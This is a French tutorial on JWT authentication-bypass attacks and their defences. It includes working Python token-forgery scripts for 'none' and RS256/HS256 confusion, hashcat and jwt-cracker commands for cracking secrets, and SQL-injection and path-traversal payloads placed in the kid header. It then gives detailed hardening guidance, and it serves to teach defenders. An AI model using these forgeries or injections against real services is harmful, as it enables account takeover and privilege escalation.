Les JSON Web Tokens (JWT) sont devenus le standard de facto pour l'authentification sans état dans les APIs web modernes, les architectures de microservices et les applications monopage. Leur format compact et autonome les rend élégants — mais cette même conception a historiquement abrité une classe de vulnérabilités critiques permettant aux attaquants de forger des tokens arbitraires et de contourner complètement l'authentification. Cet article dissèque cinq grandes catégories d'attaques JWT, explique les mécanismes précis derrière chacune, et fournit des schémas de défense renforcés que tout ingénieur devrait avoir dans sa boîte à outils.
1. Rappel sur la Structure d'un JWT
Un JWT est composé de trois segments encodés en Base64URL séparés par des points :
header.payload.signature
En-tête (Header) — Un objet JSON déclarant le type de token et l'algorithme cryptographique utilisé pour produire la signature :
{
"alg": "HS256",
"typ": "JWT"
}
Charge utile (Payload) — Un objet JSON contenant les claims : des assertions sur l'utilisateur et des métadonnées supplémentaires. Les noms de claims enregistrés incluent sub (sujet), exp (expiration), iss (émetteur), aud (audience), iat (émis à), et nbf (pas avant). Tous sont optionnels selon la spécification — ce qui est en soi un problème de sécurité.
{
"sub": "42",
"role": "user",
"iat": 1747699200,
"exp": 1747702800
}
Signature — Calculée sur l'en-tête et le payload encodés en utilisant l'algorithme spécifié dans l'en-tête. Pour HS256, il s'agit de HMAC-SHA256(base64url(header) + "." + base64url(payload), secret). Pour RS256, c'est une signature RSA-PKCS1v1.5 sur les mêmes données avec une clé privée. La signature est ce qui empêche la falsification — sauf si la logique de vérification est défectueuse.
Insight critique : Le serveur est censé vérifier la signature en utilisant un algorithme fixe et de confiance. L'erreur catastrophique qui rend possibles la plupart des attaques JWT est lorsque le serveur fait confiance au champ alg dans l'en-tête non fiable pour décider comment vérifier le token.
2. Attaque 1 — L'Algorithme "none" (Classe CVE-2015-9235)
La spécification JWT (RFC 7519) définit "none" comme une valeur d'algorithme valide, destinée uniquement aux cas où l'intégrité du token est garantie par un autre mécanisme. De nombreuses bibliothèques JWT précoces — incluant des versions de node-jsonwebtoken, pyjwt et php-jwt — acceptaient alg: "none" sans aucune application spéciale, le traitant comme une instruction légitime pour ignorer entièrement la vérification de la signature.
L'attaque est d'une simplicité triviale :
- Obtenir un JWT valide de l'application cible.
- Décoder l'en-tête en Base64URL.
- Changer
"alg": "HS256"en"alg": "none". - Ré-encoder l'en-tête et reconstruire le token avec une signature vide (le point final doit toujours être présent).
- Modifier le payload pour escalader les privilèges (ex. : changer
roleenadmin). - Soumettre le token forgé — le serveur vulnérable l'accepte sans vérifier la signature.
Voici une démonstration Python complète du cycle de manipulation :
import base64, json
# Original header (base64url decoded)
header = {"alg": "HS256", "typ": "JWT"}
# Attacker changes to:
evil_header = {"alg": "none", "typ": "JWT"}
# Encode without padding
evil_b64 = base64.urlsafe_b64encode(
json.dumps(evil_header, separators=(',',':')).encode()
).rstrip(b'=').decode()
print(evil_b64) # eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Original payload (example — attacker escalates role)
payload = {"sub": "42", "role": "admin", "exp": 9999999999}
evil_payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload, separators=(',',':')).encode()
).rstrip(b'=').decode()
# The resulting JWT has an empty signature — note the trailing dot
forged_jwt = f"{evil_b64}.{evil_payload_b64}."
print(forged_jwt)
Le token final se termine par un point et aucune signature. Une bibliothèque vulnérable reçoit ceci, lit alg: "none", n'effectue aucune vérification cryptographique et retourne le payload comme étant de confiance. L'attaquant est désormais authentifié en tant qu'administrateur avec un token entièrement fabriqué.
Notez que certaines bibliothèques vérifient spécifiquement les variantes de casse : None, NONE, nOnE. Un attaquant méthodique teste toutes les permutations. Cette classe de vulnérabilité est répertoriée sous l'identifiant CVE-2015-9235 et a affecté presque toutes les bibliothèques JWT majeures publiées avant 2016.
3. Attaque 2 — Confusion d'Algorithme : RS256 → HS256
Cette attaque est plus subtile et sans doute plus dangereuse dans les systèmes modernes. Elle exploite l'asymétrie entre le fonctionnement de la vérification RSA et HMAC, combinée à des bibliothèques qui n'appliquent pas la cohérence des algorithmes.
Quand un serveur utilise RS256 (RSA + SHA-256) :
- Le serveur signe le token avec sa clé privée (gardée secrète).
- Le serveur (ou tout consommateur) vérifie le token avec la clé publique correspondante (distribuée ouvertement, souvent via un endpoint JWKS comme
/.well-known/jwks.json).
L'attaque se déroule comme suit :
- L'attaquant récupère la clé publique RSA du serveur — elle est publique par conception.
- L'attaquant crée un nouveau JWT en modifiant le payload à sa guise.
- L'attaquant change l'en-tête
algdeRS256àHS256. - L'attaquant signe le nouveau token avec HMAC-SHA256 en utilisant la clé publique du serveur comme secret HMAC.
- Le serveur vulnérable reçoit le token, lit
alg: HS256, et vérifie le HMAC en utilisant... la clé publique qu'il a déjà en mémoire — exactement la clé utilisée par l'attaquant pour signer. La vérification réussit.
import jwt # PyJWT
from cryptography.hazmat.primitives import serialization
# Attacker has obtained the server's RSA public key (e.g., from JWKS endpoint)
with open("server_public_key.pem", "rb") as f:
public_key_bytes = f.read()
# Craft malicious payload
evil_payload = {
"sub": "1", # Target admin user ID
"role": "admin",
"exp": 9999999999
}
# Sign with HS256 using the PUBLIC KEY as the secret — this is the attack
forged_token = jwt.encode(
evil_payload,
public_key_bytes, # Public key used as HMAC secret
algorithm="HS256"
)
print(forged_token)
Cela fonctionne parce que l'appel de vérification côté serveur ressemble à jwt.decode(token, public_key, algorithms=["HS256", "RS256"]) — la liste blanche d'algorithmes contient les deux, et la bibliothèque utilise volontiers celui spécifié dans l'en-tête. La solution est stricte : le serveur doit fixer l'algorithme attendu et ne jamais en accepter un différent venant de l'en-tête.
4. Attaque 3 — Force Brute sur le Secret JWT
Quand un serveur utilise HS256, la sécurité du token entier repose sur le secret et l'entropie de la clé HMAC. Les applications qui utilisent un secret court, issu d'un dictionnaire, ou par défaut (ex. : secret, password, changeme, jwt_secret) s'exposent à des attaques par dictionnaire et force brute hors ligne.
Puisqu'un JWT est autonome et que l'attaquant n'a besoin que d'un token capturé, l'attaque est entièrement hors ligne — aucune interaction avec le serveur n'est requise après la capture du token, rendant la limitation de débit inefficace comme défense.
Avec hashcat (accéléré par GPU) :
# Mode 16500 = JWT (HS256/HS384/HS512)
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txt
# Avec mutation basée sur des règles
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Avec jwt-cracker (Node.js) :
jwt-cracker -t <captured_jwt> -a "abcdefghijklmnopqrstuvwxyz" --max-length 8
Un cluster GPU peut épuiser toutes les chaînes alphanumériques jusqu'à 8 caractères en quelques minutes. La défense pratique minimale est un secret aléatoire cryptographiquement sûr d'au moins 256 bits (32 octets) — cela rend la force brute computationnellement infaisable avec le matériel actuel. De nombreux frameworks utilisent des chaînes courtes par défaut ; remplacez-les toujours explicitement en production.
import secrets
# Generate a secure 256-bit (32-byte) random key — do this once and store it securely
SECRET_KEY = secrets.token_hex(32) # 64 hex chars = 256 bits
print(SECRET_KEY)
5. Attaque 4 — Injection via le Paramètre kid (Key ID)
Le paramètre kid (Key ID) est un champ d'en-tête JWT optionnel qui indique au serveur quelle clé utiliser pour la vérification — utile lors de la rotation des clés ou de la prise en charge de plusieurs clients. Crucialement, la valeur kid provient de l'en-tête du token contrôlé par l'attaquant. Si le serveur utilise cette valeur non assainie dans une requête SQL ou une recherche de chemin de fichier, de graves vulnérabilités d'injection en résultent.
5.1 Injection SQL via kid
Imaginons un serveur qui récupère la clé de signature depuis une base de données :
SELECT key_value FROM jwt_keys WHERE key_id = '<kid from header>'
Un attaquant forge un token avec l'en-tête suivant :
{
"alg": "HS256",
"typ": "JWT",
"kid": "' UNION SELECT 'attacker_controlled_secret' -- "
}
Le SQL injecté retourne la chaîne choisie par l'attaquant comme valeur de clé. L'attaquant signe ensuite son token forgé avec cette même chaîne et le serveur le valide avec succès, car les deux côtés partagent désormais le "secret" injecté par l'attaquant.
5.2 Path Traversal via kid
Si le serveur lit la clé depuis le disque en se basant sur kid :
# Vulnerable server-side code (simplified)
key_path = f"/var/jwt/keys/{kid}"
with open(key_path, "rb") as f:
signing_key = f.read()
Un attaquant définit :
{
"alg": "HS256",
"kid": "../../dev/null"
}
Sur Linux, /dev/null se lit comme une chaîne d'octets vide. L'attaquant signe ensuite son JWT forgé avec une chaîne vide comme clé HMAC. Le serveur lit /dev/null, obtient une clé vide, et la vérification correspond — accordant un accès complet. D'autres cibles intéressantes incluent /proc/sys/kernel/ostype (contenu prévisible) ou des fichiers de configuration lisibles par tous.
6. Attaque 5 — Manipulation des Claims JWT
Une fois la vérification de signature contournée par l'un des vecteurs d'attaque ci-dessus, l'attaquant peut manipuler n'importe quel claim dans le payload. Deux schémas sont particulièrement impactants :
6.1 Escalade de Privilèges via le Claim de Rôle
De nombreuses applications intègrent des décisions d'autorisation dans le payload JWT :
// Payload du token légitime
{"sub": "84", "role": "user", "exp": 1747702800}
// Payload forgé par l'attaquant après contournement de la vérification
{"sub": "84", "role": "admin", "exp": 9999999999}
Si l'application fait confiance au claim role sans vérifications d'autorisation côté serveur contre une base de données, l'attaquant obtient un accès administratif. C'est une conséquence directe de s'appuyer sur des données de token côté client pour les décisions d'autorisation sans défense en profondeur.
6.2 Référence Directe d'Objet Non Sécurisée (IDOR) via le Claim sub
Le claim sub correspond souvent directement à un identifiant utilisateur utilisé dans les requêtes de base de données :
// Token de l'attaquant
{"sub": "1042", "role": "user"}
// Token forgé ciblant le compte admin (user ID 1)
{"sub": "1", "role": "user"}
Les endpoints qui effectuent des requêtes comme SELECT * FROM users WHERE id = {sub} sans vérifier le propriétaire du token retourneront les données de l'utilisateur ciblé. Cela permet une escalade de privilèges horizontale et verticale selon la valeur sub ciblée.
7. Cas Réels Notables
CVE-2018-1000531 (jwt-simple, écosystème Meteor) — Le package Node.js jwt-simple ne validait pas le champ algorithme, acceptant none comme algorithme valide. Toute application utilisant cette bibliothèque était trivialement exploitable. La correction exigeait que les appelants passent explicitement l'algorithme attendu à la fonction decode.
CVE-2022-21449 — "Psychic Signatures" Java — Il s'agissait d'une vulnérabilité dévastatrice dans Java 15 à 17 (Oracle JDK et OpenJDK). L'implémentation de vérification de signature ECDSA dans java.security acceptait une signature tout à zéro (ou plus précisément, une signature malformée r=0, s=0) comme valide pour tout JWT signé en ECDSA, quelle que soit la clé ou le contenu du message. Un attaquant pouvait soumettre un JWT forgé trivialement avec une signature vide et le runtime Java le confirmait comme cryptographiquement valide. Chaque application Java utilisant la vérification JWT ES256/ES384/ES512 sur ces versions JDK était affectée sans nécessiter de changements de code. Le correctif était un patch JDK ; tous les systèmes JWT basés sur Java sur les versions affectées nécessitaient un patch d'urgence.
Ces cas illustrent que les vulnérabilités JWT couvrent toute la pile : bugs d'implémentation de bibliothèques, faiblesses de conception du protocole, et mauvaise configuration au niveau applicatif contribuent tous à ces problèmes.
8. Meilleures Pratiques de Défense
Se défendre contre les attaques JWT nécessite des contrôles en couches au niveau de la configuration de la bibliothèque, de la logique applicative, et de l'infrastructure.
8.1 Lister en Blanc l'Algorithme Attendu — Ne Jamais Faire Confiance à l'En-tête
C'est la contre-mesure la plus importante. Le serveur ne doit jamais utiliser l'algorithme spécifié dans l'en-tête du token. Il doit plutôt appliquer l'algorithme attendu au niveau de la configuration :
import jwt
# INSECURE: trusting the header's algorithm
payload = jwt.decode(token, SECRET_KEY) # Old API — dangerous
# INSECURE: allowing multiple algorithms including none
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256", "none"])
# SECURE: whitelist algorithm, validate all claims
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Never include "none" or multiple algo families
options={"require": ["exp", "iat", "sub"]}
)
# SECURE RS256 example: pin to the public key object, never accept HS256
from cryptography.hazmat.primitives.serialization import load_pem_public_key
public_key = load_pem_public_key(PUBLIC_KEY_PEM)
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"], # Only RS256 — algorithm confusion blocked
options={"require": ["exp", "iat", "sub", "iss"]}
)
8.2 Utiliser des Secrets Forts pour HS256
Les secrets partagés HS256 doivent être aléatoires cryptographiquement et d'au moins 256 bits (32 octets) de longueur. Tout ce qui est plus court ou dérivé d'une valeur prévisible (nom d'hôte, nom d'application, valeur par défaut d'une variable d'environnement) est vulnérable à la force brute hors ligne. Envisagez d'utiliser un système de gestion des secrets (HashiCorp Vault, AWS Secrets Manager) pour injecter la clé au moment de l'exécution plutôt que de la stocker dans des fichiers d'environnement.
8.3 Préférer les Algorithmes Asymétriques pour les Systèmes Distribués
Dans les architectures de microservices où plusieurs services vérifient des tokens, RS256 ou ES256 éliminent le besoin de partager un secret entre les services. Seul le serveur d'autorisation détient la clé privée ; tous les autres services n'ont besoin que de la clé publique et ne peuvent pas forger de tokens même s'ils sont compromis.
8.4 Valider Tous les Claims Standard
- exp — Rejeter les tokens dépassant leur délai d'expiration. La tolérance de dérive d'horloge devrait être de 60 secondes maximum.
- nbf — Rejeter les tokens pas encore valides.
- iss — Valider que l'émetteur correspond à votre serveur d'autorisation attendu.
- aud — Valider que l'audience correspond à l'identifiant de votre service, empêchant la réutilisation des tokens entre services.
- sub — Valider que le sujet existe et est actif dans votre magasin d'utilisateurs — ne reposez pas uniquement sur le token.
8.5 Implémenter une Expiration Courte avec Rotation des Tokens de Rafraîchissement
Les tokens d'accès doivent expirer en 15 minutes ou moins. Associez-les à un schéma de rotation des tokens de rafraîchissement : chaque opération de rafraîchissement émet un nouveau token de rafraîchissement et invalide l'ancien. Si un token de rafraîchissement est réutilisé (indiquant un vol), révoquez immédiatement toute la famille de tokens. Cela limite la fenêtre d'exposition pour tout token compromis.
8.6 Assainir et Valider le Paramètre kid
Si votre système utilise le paramètre kid :
- Validez
kidcontre une liste blanche stricte d'identifiants de clés connus avant toute recherche. - N'interpolez jamais
kiddans des requêtes SQL — utilisez exclusivement des requêtes paramétrées. - N'utilisez jamais
kidpour construire des chemins de système de fichiers sans canonicalisation et validation du préfixe de chemin. - Stockez les clés en mémoire ou dans un système dédié de gestion des clés, pas sur le système de fichiers.
8.7 Ne Jamais Reposer sur les Claims JWT pour l'Autorisation Côté Serveur
Même avec un token correctement vérifié, ne faites pas aveuglément confiance aux claims de rôle ou de permission pour les opérations sensibles. Effectuez des vérifications d'autorisation contre l'état de la base de données en direct — le rôle d'un utilisateur peut avoir changé depuis l'émission du token. Les JWT sont sans état par conception, ce qui signifie que la révocation nécessite soit une expiration courte, soit une liste noire de tokens ou un registre jti.
8.8 Validation Complète Sécurisée de Token (Python/PyJWT)
import jwt
from jwt.exceptions import (
ExpiredSignatureError, InvalidAlgorithmError,
InvalidAudienceError, InvalidIssuerError, DecodeError
)
SECRET_KEY = "your-256-bit-random-secret-here" # Load from secrets manager
def verify_token(token: str) -> dict:
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Strict algorithm whitelist
audience="api.example.com", # Validate audience claim
issuer="auth.example.com", # Validate issuer claim
options={
"require": ["exp", "iat", "sub", "iss", "aud"],
"verify_exp": True,
"verify_iat": True,
"leeway": 10 # 10-second clock skew tolerance
}
)
# Additional: verify sub exists in your user database
return payload
except ExpiredSignatureError:
raise AuthError("Token has expired")
except InvalidAlgorithmError:
raise AuthError("Algorithm not permitted")
except (InvalidAudienceError, InvalidIssuerError):
raise AuthError("Token audience or issuer mismatch")
except DecodeError:
raise AuthError("Token is malformed")
Conclusion
Les vulnérabilités de contournement d'authentification JWT partagent une cause racine commune : le serveur fait confiance à une entrée contrôlée par l'attaquant (l'en-tête du token) pour prendre des décisions critiques en matière de sécurité. Que ce soit le champ alg, le paramètre kid, ou l'absence de validation des claims, chaque attaque exploite un raccourci de conception ou d'implémentation.
Les défenses sont bien comprises et simples à mettre en œuvre : fixez votre algorithme, utilisez des clés fortes, validez chaque claim standard, court-circuitez la traversée de chemin et l'injection SQL dans les recherches de clés, et complétez l'autorisation basée sur JWT avec des vérifications côté serveur. L'écart entre les implémentations vulnérables et sécurisées est souvent une seule ligne de configuration — mais cette ligne est critique.
Alors que l'utilisation de JWT continue de s'étendre aux backends mobiles, à l'authentification IoT et à la communication inter-services, comprendre ces schémas d'attaque n'est plus une connaissance optionnelle pour les ingénieurs soucieux de la sécurité. Auditez votre code de vérification de token aujourd'hui, avant qu'un attaquant ne le fasse pour vous.